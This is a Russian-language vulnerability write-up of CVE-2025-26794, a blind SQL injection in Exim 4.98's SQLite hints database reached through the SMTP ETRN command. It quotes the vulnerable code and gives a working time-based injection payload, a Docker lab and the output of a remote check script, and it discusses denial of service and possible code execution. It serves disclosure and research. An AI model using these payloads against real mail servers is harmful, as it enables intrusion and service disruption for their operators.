
CVE-2025-26794: Слепая SQL-инъекция в Exim 4.98 (SQLite DBM)- разбор эксплойта
Отчёт Exim: https://www.exim.org/static/doc/security/CVE-2025-26794.txt
Я обнаружил эту уязвимость в ходе ручного анализа кода.
Параметры SQL при использовании SQLite в качестве DBM должным образом не санируются. Это позволяет удалённому пользователю создавать произвольные SQLite-запросы.
Exim использует внутреннюю базу данных для внутреннего хранения пар «ключ:значение» (называемую HintsDB), которая поддерживает различные внутренние механизмы (бэкенды), задаваемые при сборке. Последним добавленным бэкендом стал SQLite. Она используется для хранения:
enq_start()) для команд ETRN и доставки SMTPЗатронутый файл — hintsdb.h. В последних коммитах он был перенесён в отдельный файл (hints_sqlite.h). Затронуты только функции SQLite (пример функции: exim_s_dbp).
static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
Входной ключ экранируется неправильно. Поэтому, если нам удастся контролировать ключ, мы сможем внедрить любой код SQLite.
RFC1985 определяет команду ETRN протокола SMTP, «с помощью которой клиент может запросить у сервера начало обработки его почтовых очередей для сообщений, ожидающих на сервере для клиентской машины».
Она используется с SMTP-командой: ETRN #domain.com.
В Exim команда ETRN устанавливает семафор в HintsDB, чтобы избежать параллельного выполнения нескольких команд ETRN.
Этот семафор реализован функцией enq_start(keyname, value), которая создаёт новую запись в базе данных «misc».
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
[...]
if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
break;
}
Например, SMTP-команда ETRN #test.com создаст временную запись в базе данных SQLite «misc» с ключом «etrn-#test.com» и значением 1.
В конце обработки команды ETRN запись из БД будет удалена:
enq_end(etrn_serialize_key);
Поскольку мы контролируем ключ, мы можем внедрить собственный SQL-код с помощью следующей SMTP-команды:
ETRN #',1); ## INSERT SQL HERE ## /*
Поскольку ответа нет, мы можем отправить SQLi-пейлоад, основанный на времени, для удалённой проверки этой уязвимости:
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ATTACH DATABASE; полагаю, что, вероятно, можно было бы использовать состояние гонки в Exim, чтобы вызвать неопределённое поведение, вмешиваясь в работу других используемых БД. Пока это всё ещё очень гипотетично.ETRN довольно редкое явление (и само по себе устаревшее). Я не смог найти в коде других мест, где пользовательский ввод используется для построения строки запроса.Это означает, что мы могли бы легко вызвать отказ в обслуживании (например, заполнив диск), однако для повышения до удалённого выполнения кода потребуется больше работы, но, возможно, это осуществимо.
Вот локальный Docker-стенд, который поможет воспроизвести эту уязвимость.
git clone [email protected]:OscarBataille/CVE-2025-26794.gitcd CVE-2025-26794/docker_labbash docker.sh соберёт образ и выполнит вход в контейнерbash start-exim.sh, чтобы запустить сервер eximnc 127.0.0.1 25220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000ETRN #'sqlite3_exec: near "', X'": syntax errorЯ разработал скрипт test.py для удалённой проверки этой уязвимости.
python3 docker_lab/test.py <host>
Пример:
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
Client: ETRN #
ETRN response: 458 Already processing
Time: 0.006737470626831055
Client: ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ETRN response: 250 OK
Time: 1.073132038116455
!! Vulnerable